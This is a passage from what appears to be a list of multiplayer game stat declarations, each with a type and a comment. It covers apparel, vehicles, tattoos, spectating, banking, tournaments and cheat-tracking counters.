MP1_ // Player has spawned in the game having chosen to not play tutorials again. +(int)CHAR_FM_WEAP_ADDON_5_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 5 +(int)WEAP_FM_ADDON_PURCH5 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_5_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 5 +(int)CHAR_FM_WEAP_ADDON_5_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 5 +(date)MPPLY_BADSPORT_START // Number of times player has been muted +(date)MPPLY_BADSPORT_END // Number of times player has been muted + +(int)MPPLY_TIMES_ENTERED_TEMP // Number of times entered the game as a temporary character +(int)AUTO_EQUIP_ARMOUR // Add MP0_ or MP1_ // players auto-equip status for their armour +(int)AUTO_AIM_AGAINST_FRIENDS // Add MP0_ or MP1_ // storing whether the player has auto-aim enabled against Friends. + +(bool)SAVED_VEH_STATS_VERIFIED // Add MP0_ or MP1_ // Check to see if saved vehicle stats have been verified + + +(s64)CASH_GIFT_NEW // TO GIVE PLAYER THE CASH GIFT THEY LOST +(u64)CASH_GIFT_CREDITED // TO GIVE PLAYER THE CASH GIFT THEY LOST +(u64)CASH_GIFT_DEBITED // TO GIVE PLAYER THE CASH GIFT THEY LOST + + +(u64)SCADMIN_BADSPORT_START // SC Admin Posix start time for bad sport. +(u64)SCADMIN_BADSPORT_END // SC Admin Posix end time for bad sport. + + +(bool)SCADMIN_IS_CHEATER // SC Admin Flag someone as a cheater. +(u64)MPPLY_CHEATER_CLEAR_TIME // Last posix time we cleared someone EVC. + +(int)TATTOO_FM_UNLOCKS_6 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 4 + +(int)TSHIRT_DECAL_HASH // Add MP0_ or MP1_ // Stores the name hash of the current t-shirt decal + +(int)SHOW_PROPERTY_BLIP_ON_JOB // Add MP0_ or MP1_ // Add a stat for Showing the Property Blip on a Job + +(int)DLC_APPAREL_ACQUIRED_0 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_1 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_2 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_3 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_4 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_5 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_0 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_1 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_2 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_3 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_4 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_5 // Add MP0_ or MP1_ // Shop ped apparel save data + +(u64)MPPLY_TOTAL_TIME_LOAD_SCREEN // MP Char 0 - PERSONAL -Total time spent in Loading screen +(u64)MPPLY_TOTAL_TIME_IN_LOBBY // MP Char 0 - PERSONAL -Total time spent in Lobby + +(int)DLC_APPAREL_ACQUIRED_6 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_7 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_8 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_9 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_10 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_11 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_12 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_6 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_7 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_8 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_9 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_10 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_11 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_12 // Add MP0_ or MP1_ // Shop ped apparel save data + + +(int)DLC_APPAREL_ACQUIRED_13 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_14 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_13 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_14 // Add MP0_ or MP1_ // Shop ped apparel save data + +(bool)MPPLY_CAN_SPECTATE // Shop ped apparel save data + +(u64)TOTAL_STARTMENU_TIME // Total Time spent in Start Menu. +(u64)TOTAL_SHOP_TIME // Total Time spent shopping. + + + +(packed)TUPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 122. Takes up to 8 integers +(packed)TUPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 123. Takes up to 8 integers +(packed)TUPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 124. Takes up to 8 integers +(packed)TUPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 125. Takes up to 8 integers +(packed)TUPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 126. Takes up to 8 integers +(packed)TUPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 127. Takes up to 8 integers + + + +(int)MPSV_VEHICLE_BS_14 // Add MP0_ or MP1_ // Vehicle_14 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_14 // Add MP0_ or MP1_ // Vehicle_14 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_14 // Add MP0_ or MP1_ // Vehicle_14 premium paid by destroyer of vehicle +(int)MPSV_MODEL_14 // Add MP0_ or MP1_ // Vehicle_14 model enum of vehicle +(int)MPSV_FLAGS_14 // Add MP0_ or MP1_ // Vehicle_14 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_14 // Add MP0_ or MP1_ // Vehicle_14 cost of vehicle when purchased + +(u64)MPSV_LP0_14 // Add MP0_ or MP1_ // Vehicle_14 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_15 // Add MP0_ or MP1_ // Vehicle_15 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_15 // Add MP0_ or MP1_ // Vehicle_15 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_15 // Add MP0_ or MP1_ // Vehicle_15 premium paid by destroyer of vehicle +(int)MPSV_MODEL_15 // Add MP0_ or MP1_ // Vehicle_15 model enum of vehicle +(int)MPSV_FLAGS_15 // Add MP0_ or MP1_ // Vehicle_15 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_15 // Add MP0_ or MP1_ // Vehicle_15 cost of vehicle when purchased + +(u64)MPSV_LP0_15 // Add MP0_ or MP1_ // Vehicle_15 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_16 // Add MP0_ or MP1_ // Vehicle_16 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_16 // Add MP0_ or MP1_ // Vehicle_16 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_16 // Add MP0_ or MP1_ // Vehicle_16 premium paid by destroyer of vehicle +(int)MPSV_MODEL_16 // Add MP0_ or MP1_ // Vehicle_16 model enum of vehicle +(int)MPSV_FLAGS_16 // Add MP0_ or MP1_ // Vehicle_16 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_16 // Add MP0_ or MP1_ // Vehicle_16 cost of vehicle when purchased + +(u64)MPSV_LP0_16 // Add MP0_ or MP1_ // Vehicle_16 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_17 // Add MP0_ or MP1_ // Vehicle_17 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_17 // Add MP0_ or MP1_ // Vehicle_17 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_17 // Add MP0_ or MP1_ // Vehicle_17 premium paid by destroyer of vehicle +(int)MPSV_MODEL_17 // Add MP0_ or MP1_ // Vehicle_17 model enum of vehicle +(int)MPSV_FLAGS_17 // Add MP0_ or MP1_ // Vehicle_17 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_17 // Add MP0_ or MP1_ // Vehicle_17 cost of vehicle when purchased + +(u64)MPSV_LP0_17 // Add MP0_ or MP1_ // Vehicle_17 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_18 // Add MP0_ or MP1_ // Vehicle_18 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_18 // Add MP0_ or MP1_ // Vehicle_18 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_18 // Add MP0_ or MP1_ // Vehicle_18 premium paid by destroyer of vehicle +(int)MPSV_MODEL_18 // Add MP0_ or MP1_ // Vehicle_18 model enum of vehicle +(int)MPSV_FLAGS_18 // Add MP0_ or MP1_ // Vehicle_18 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_18 // Add MP0_ or MP1_ // Vehicle_18 cost of vehicle when purchased + +(u64)MPSV_LP0_18 // Add MP0_ or MP1_ // Vehicle_18 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_19 // Add MP0_ or MP1_ // Vehicle_19 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_19 // Add MP0_ or MP1_ // Vehicle_19 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_19 // Add MP0_ or MP1_ // Vehicle_19 premium paid by destroyer of vehicle +(int)MPSV_MODEL_19 // Add MP0_ or MP1_ // Vehicle_19 model enum of vehicle +(int)MPSV_FLAGS_19 // Add MP0_ or MP1_ // Vehicle_19 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_19 // Add MP0_ or MP1_ // Vehicle_19 cost of vehicle when purchased + +(u64)MPSV_LP0_19 // Add MP0_ or MP1_ // Vehicle_19 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_20 // Add MP0_ or MP1_ // Vehicle_20 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_20 // Add MP0_ or MP1_ // Vehicle_20 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_20 // Add MP0_ or MP1_ // Vehicle_20 premium paid by destroyer of vehicle +(int)MPSV_MODEL_20 // Add MP0_ or MP1_ // Vehicle_20 model enum of vehicle +(int)MPSV_FLAGS_20 // Add MP0_ or MP1_ // Vehicle_20 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_20 // Add MP0_ or MP1_ // Vehicle_20 cost of vehicle when purchased + +(u64)MPSV_LP0_20 // Add MP0_ or MP1_ // Vehicle_20 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_21 // Add MP0_ or MP1_ // Vehicle_21 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_21 // Add MP0_ or MP1_ // Vehicle_21 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_21 // Add MP0_ or MP1_ // Vehicle_21 premium paid by destroyer of vehicle +(int)MPSV_MODEL_21 // Add MP0_ or MP1_ // Vehicle_21 model enum of vehicle +(int)MPSV_FLAGS_21 // Add MP0_ or MP1_ // Vehicle_21 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_21 // Add MP0_ or MP1_ // Vehicle_21 cost of vehicle when purchased + +(u64)MPSV_LP0_21 // Add MP0_ or MP1_ // Vehicle_21 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_22 // Add MP0_ or MP1_ // Vehicle_22 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_22 // Add MP0_ or MP1_ // Vehicle_22 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_22 // Add MP0_ or MP1_ // Vehicle_22 premium paid by destroyer of vehicle +(int)MPSV_MODEL_22 // Add MP0_ or MP1_ // Vehicle_22 model enum of vehicle +(int)MPSV_FLAGS_22 // Add MP0_ or MP1_ // Vehicle_22 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_22 // Add MP0_ or MP1_ // Vehicle_22 cost of vehicle when purchased + +(u64)MPSV_LP0_22 // Add MP0_ or MP1_ // Vehicle_22 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_23 // Add MP0_ or MP1_ // Vehicle_23 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_23 // Add MP0_ or MP1_ // Vehicle_23 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_23 // Add MP0_ or MP1_ // Vehicle_23 premium paid by destroyer of vehicle +(int)MPSV_MODEL_23 // Add MP0_ or MP1_ // Vehicle_23 model enum of vehicle +(int)MPSV_FLAGS_23 // Add MP0_ or MP1_ // Vehicle_23 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_23 // Add MP0_ or MP1_ // Vehicle_23 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_24 // Add MP0_ or MP1_ // Vehicle_24 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_24 // Add MP0_ or MP1_ // Vehicle_24 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_24 // Add MP0_ or MP1_ // Vehicle_24 premium paid by destroyer of vehicle +(int)MPSV_MODEL_24 // Add MP0_ or MP1_ // Vehicle_24 model enum of vehicle +(int)MPSV_FLAGS_24 // Add MP0_ or MP1_ // Vehicle_24 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_24 // Add MP0_ or MP1_ // Vehicle_24 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_25 // Add MP0_ or MP1_ // Vehicle_25 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_25 // Add MP0_ or MP1_ // Vehicle_25 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_25 // Add MP0_ or MP1_ // Vehicle_25 premium paid by destroyer of vehicle +(int)MPSV_MODEL_25 // Add MP0_ or MP1_ // Vehicle_25 model enum of vehicle +(int)MPSV_FLAGS_25 // Add MP0_ or MP1_ // Vehicle_25 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_25 // Add MP0_ or MP1_ // Vehicle_25 cost of vehicle when purchased + +(int)MULTI_PROPERTY_1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_1 +(int)MULTI_PROPERTY_VALUE_1 // Add MP0_ or MP1_ // Stores value other property player has purchased +_1 + +(bool)PARTICIPATED_IN_TOURNAMENT // Add MP0_ or MP1_ // track if player has participated in a tournament +(bool)HAS_CHAR_WON_TOURNAMENT // Add MP0_ or MP1_ // track if player has won a tournament + +(int)MPPLY_TOTAL_TIME_SESS_SWAP // MP Char 0 - Addons unlocked bitset 5 +(int)MPPLY_TOTAL_TIME_ENDJOB // MP Char 0 - Addons unlocked bitset 5 + + + +(int)MP_CHAR_STAT_RALLY_ANIM // Add MP0_ or MP1_ // The paired anim that should play on rally celebration screen + +(int)MP_CHAR_ARMOUR_1_COUNT // Add MP0_ or MP1_ // Armour 1 count for inventory +(int)MP_CHAR_ARMOUR_2_COUNT // Add MP0_ or MP1_ // Armour 2 count for inventory +(int)MP_CHAR_ARMOUR_3_COUNT // Add MP0_ or MP1_ // Armour 3 count for inventory +(int)MP_CHAR_ARMOUR_4_COUNT // Add MP0_ or MP1_ // Armour 4 count for inventory +(int)MP_CHAR_ARMOUR_5_COUNT // Add MP0_ or MP1_ // Armour 5 count for inventory + + +(bool)MPPLY_BIG_FEED_INIT // Have the unique and total number of Jobs been saved + +(int)MPPLY_UNIQUE_RACES // Number of unique Races a player has played +(int)MPPLY_UNIQUE_DMS // Number of unique DMs a player has played +(int)MPPLY_UNIQUE_PARAS // Number of unique Parachuting a player has played +(int)MPPLY_UNIQUE_SURVIVAL // Number of unique Survivals a player has played +(int)MPPLY_UNIQUE_MISSIONS // Number of unique Missions a player has played +(int)MPPLY_UNIQUE_LTS // Number of unique LTS a player has played +(int)MPPLY_UNIQUE_CTF // Number of unique CTF a player has played +(int)MPPLY_UNIQUE_VERSUS // Number of unique Versus a player has played + +(int)MPPLY_AVAILABLE_RACES // Number of Races a player has available +(int)MPPLY_AVAILABLE_DMS // Number of DMs a player has available +(int)MPPLY_AVAILABLE_PARAS // Number of Parachuting a player has available +(int)MPPLY_AVAILABLE_SURVIVAL // Number of Survivals a player has available +(int)MPPLY_AVAILABLE_MISSIONS // Number of Missions a player has available +(int)MPPLY_AVAILABLE_LTS // Number of LTS a player has available +(int)MPPLY_AVAILABLE_CTF // Number of CTF a player has available +(int)MPPLY_AVAILABLE_VERSUS // Number of Versus a player has available + +(int)MPPLY_UNIQUE_RACES_V // Number of unique Races a player has played (Verified) +(int)MPPLY_UNIQUE_DMS_V // Number of unique DMs a player has played (Verified) +(int)MPPLY_UNIQUE_PARAS_V // Number of unique Parachuting a player has played (Verified) +(int)MPPLY_UNIQUE_SURVIVAL_V // Number of unique Survivals a player has played (Verified) +(int)MPPLY_UNIQUE_MISSIONS_V // Number of unique Missions a player has played (Verified) +(int)MPPLY_UNIQUE_LTS_V // Number of unique LTS a player has played (Verified) +(int)MPPLY_UNIQUE_CTF_V // Number of unique CTF a player has played (Verified) +(int)MPPLY_UNIQUE_VERSUS_V // Number of unique Versus a player has played (Verified) + +(int)MPPLY_AVAILABLE_RACES_V // Number of Races a player has available (Verified) +(int)MPPLY_AVAILABLE_DMS_V // Number of DMs a player has available (Verified) +(int)MPPLY_AVAILABLE_PARAS_V // Number of Parachuting a player has available (Verified) +(int)MPPLY_AVAILABLE_SURVIVAL_V // Number of Survivals a player has available (Verified) +(int)MPPLY_AVAILABLE_MISSIONS_V // Number of Missions a player has available (Verified) +(int)MPPLY_AVAILABLE_LTS_V // Number of LTS a player has available (Verified) +(int)MPPLY_AVAILABLE_CTF_V // Number of CTF a player has available (Verified) +(int)MPPLY_AVAILABLE_VERSUS_V // Number of Versus a player has available (Verified) + + +(int)MPPLY_UNIQUE_CONTACT_0 // Number of unique Missions from contact 0 +(int)MPPLY_UNIQUE_CONTACT_1 // Number of unique Missions from contact 1 +(int)MPPLY_UNIQUE_CONTACT_2 // Number of unique Missions from contact 2 +(int)MPPLY_UNIQUE_CONTACT_3 // Number of unique Missions from contact 3 +(int)MPPLY_UNIQUE_CONTACT_4 // Number of unique Missions from contact 4 +(int)MPPLY_UNIQUE_CONTACT_5 // Number of unique Missions from contact 5 +(int)MPPLY_UNIQUE_CONTACT_6 // Number of unique Missions from contact 6 + +(int)MPPLY_TOTAL_CONTACT_0 // Number of Races a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_1 // Number of DMs a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_2 // Number of Parachuting a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_3 // Number of Survivals a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_4 // Number of Missions a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_5 // Number of LTS a player has available (Verified) +(int)MPPLY_TOTAL_CONTACT_6 // Number of CTF a player has available (Verified) + +(int)SET_RP_GIFT_ADMIN // SET THE PLAYERS RP BY THE SCADMIN +(int)CHAR_SET_RP_GIFT_ADMIN // Add MP0_ or MP1_ // SET THE PLAYERS RP BY THE SCADMIN + +(int)CHAR_RP_GIFT_ADMIN_BEFORE // Add MP0_ or MP1_ // SET THE PLAYERS RP BY THE SCADMIN +(date)CHAR_RP_GIFT_ADMIN_DATE // Add MP0_ or MP1_ // SET THE PLAYERS RP BY THE SCADMIN +(u64)CHAR_RP_GIFT_ADMIN_POSIX // Add MP0_ or MP1_ // SET THE PLAYERS RP BY THE SCADMIN + +(int)DLC_APPAREL_ACQUIRED_15 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_16 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_15 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_16 // Add MP0_ or MP1_ // Shop ped apparel save data +(bool)VALENTINES_REC_CLOTHES // Add MP0_ or MP1_ // Stat for recording valentine clothes +(int)MPPLY_NUM_CAPTURES_CREATED // Number of CTF a player has created + + +(int)IS_CHAR_IN_SPECCAM_MISS // Add MP0_ or MP1_ // Spectator Cam - When a player goes onto spectator cam On Mission +(u64)TOTAL_TIME_SPECCAM_MISS // Add MP0_ or MP1_ // Spectator Cam - how long they remain on spectator cam On Mission +(int)HAS_CHAR_QUIT_SPECCAM_MISS // Add MP0_ or MP1_ // Spectator Cam - If they quit whilst on spectator cam. On Mission + +(int)IS_CHAR_IN_SPECCAM_CTF // Add MP0_ or MP1_ // Spectator Cam - When a player goes onto spectator cam CTF MODE +(u64)TOTAL_TIME_SPECCAM_CTF // Add MP0_ or MP1_ // Spectator Cam - how long they remain on spectator cam CTF MODE +(int)HAS_CHAR_QUIT_SPECCAM_CTF // Add MP0_ or MP1_ // Spectator Cam - If they quit whilst on spectator cam. CTF MODE + +(int)IS_CHAR_IN_SPECCAM_LTS // Add MP0_ or MP1_ // Spectator Cam - When a player goes onto spectator cam LTS Mode +(u64)TOTAL_TIME_SPECCAM_LTS // Add MP0_ or MP1_ // Spectator Cam - how long they remain on spectator cam LTS Mode +(int)HAS_CHAR_QUIT_SPECCAM_LTS // Add MP0_ or MP1_ // Spectator Cam - If they quit whilst on spectator cam LTS Mode. + +(int)IS_CHAR_IN_SPECCAM_SUR // Add MP0_ or MP1_ // Spectator Cam - When a player goes onto spectator cam Survival Mode +(u64)TOTAL_TIME_SPECCAM_SUR // Add MP0_ or MP1_ // Spectator Cam - how long they remain on spectator cam Survival Mode +(int)HAS_CHAR_QUIT_SPECCAM_SUR // Add MP0_ or MP1_ // Spectator Cam - If they quit whilst on spectator cam Survival Mode. + +(u64)TIME_SPECT_FREEROAM // Add MP0_ or MP1_ // Time Spent Spectating Freeroam +(u64)TIME_SPECT_JOBS // Add MP0_ or MP1_ // Time Spent Spectating Jobs +(u64)TIME_SPECT_FRIENDS // Add MP0_ or MP1_ // Time Spent Spectating Friends +(u64)TIME_SPECT_CREW_MEMBERS // Add MP0_ or MP1_ // Time Spent Spectating Crew Members +(u64)TIME_SPECT_STRANGERS // Add MP0_ or MP1_ // Time Spent Spectating Strangers +(u64)TIME_SPECT_FRIEND_NOT_CREW // Add MP0_ or MP1_ // Time Spent Spectating friends who aren't crew members +(u64)TIME_SPECT_CREW_NOT_FRIEND // Add MP0_ or MP1_ // Time Spent Spectating crew members who aren't friends +(int)SPECTATED_WAS_CHANGED // Add MP0_ or MP1_ // Number of times that the person being spectated was changed. + +(int)NO_NON_CONTRACT_RACE_WIN // Add MP0_ or MP1_ // Number of times player won a non contact race. + +(float)PLAYER_MENTAL_STATE // Add MP0_ or MP1_ // Track players mental state +(int)NO_JOBS_DONE_CONSECUTIVELY // Add MP0_ or MP1_ // how many jobs a player has performed consecutively +(int)NO_COP_DESTORY_IMPOUND_VEH // Add MP0_ or MP1_ // Vehicle Impound Number of times an impounded vehicle is destroyed by the cops.. + +(int)TEXTS_SENT_TO_PLAYERS // Add MP0_ or MP1_ // texts sent to other players +(int)CALLS_MADE_TO_PLAYERS // Add MP0_ or MP1_ // phone calls made to other players +(int)CALLS_MADE_TO_NPC // Add MP0_ or MP1_ // phone calls made to NPC characters (this stat would need to record WHICH NPC character was phoned) + +(s64)INTERNET_BANK_BALANCE // Add MP0_ or MP1_ // players banking cash through the in-game internet. +(s64)ATM_BANK_BALANCE // Add MP0_ or MP1_ // players banking cash through ATM. + +(int)DLC_APPAREL_ACQUIRED_17 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_17 // Add MP0_ or MP1_ // Shop ped apparel save data + + +(int)STORED_LOTTERY_WEEK // Add MP0_ or MP1_ // Stores the lottery week +(int)LOTTERY_TICKETS_BOUGHT // Add MP0_ or MP1_ // Stores number of lottery tickets bought +(u32)CODE_CRC // Code crc + +(bool)TOURNAMENT_1_WINNER // Add MP0_ or MP1_ // is player a Tournement winner +(bool)TOURNAMENT_1_PARTICIPANT // Add MP0_ or MP1_ // is player a Tournement participant +(int)MPPLY_CAP_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_CAP_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_CAP_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_CAP_CHEAT_TALLY // Number of times cheated +(int)CAPTURE_START // Add MP0_ or MP1_ // No of races started +(int)CAPTURE_END // Add MP0_ or MP1_ // No of races ended + +(int)MPPLY_SUR_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_SUR_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_SUR_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_SUR_CHEAT_TALLY // Number of times cheated +(int)SURVIVAL_START // Add MP0_ or MP1_ // No of races started +(int)SURVIVAL_END // Add MP0_ or MP1_ // No of races ended + +(int)MPPLY_LTS_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_LTS_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_LTS_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_LTS_CHEAT_TALLY // Number of times cheated +(int)LTS_START // Add MP0_ or MP1_ // No of races started +(int)LTS_END // Add MP0_ or MP1_ // No of races ended + +(int)MPPLY_PARA_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_PARA_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_PARA_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_PARA_CHEAT_TALLY // Number of times cheated +(int)PARACHUTE_START // Add MP0_ or MP1_ // No of races started +(int)PARACHUTE_END // Add MP0_ or MP1_ // No of races ended + +(int)MPPLY_FMEVN_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_FMEVN_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_FMEVN_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_FMEVN_CHEAT_TALLY // Number of times cheated +(int)FMEVENT_START // Add MP0_ or MP1_ // No of races started +(int)FMEVENT_END // Add MP0_ or MP1_ // No of races ended + + +(bool)MPPLY_IS_CHAR_SPECTATING // Is player spectating someone +(bool)MPPLY_TOGGLE_OFF_BIG_RADAR // Toggle names on big radar + +(int)DLC_APPAREL_ACQUIRED_18 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_19 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_20 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_21 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_22 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_18 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_19 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_20 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_21 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_22 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)TATTOO_FM_VIEWED_9 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_VIEWED_10 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_VIEWED_11 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_VIEWED_12 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 + +(int)TATTOO_FM_CURRENT_10 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_11 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_12 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 + +(int)TATTOO_FM_UNLOCKS_7 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 7 +(int)TATTOO_FM_UNLOCKS_8 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 8 +(int)TATTOO_FM_UNLOCKS_9 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 9 +(int)TATTOO_FM_UNLOCKS_10 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 10 +(int)TATTOO_FM_UNLOCKS_11 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 11 +(int)TATTOO_FM_UNLOCKS_12 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 12 + +(bool)DISABLE_DISPLAY_CANCEL_CALL // Add MP0_ or MP1_ // Toggle names on big radar +(bool)UNLOCK_RACE_HIPSTER_TSHIRT // Add MP0_ or MP1_ // Toggle names on big radar +(bool)UNLOCK_DM_HIPSTER_TSHIRT // Add MP0_ or MP1_ // Toggle names on big radar + +(int)CHAR_CHANGE_TANK_ADMIN // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(u64)CHAR_TANK_ADMIN_POSIX // Add MP0_ or MP1_ // REMOVE THE TANK RP BY THE SCADMIN + + +(u32)VEHICLE_WEAPONHASH // Add MP0_ or MP1_ // Weapon hash choosen when we 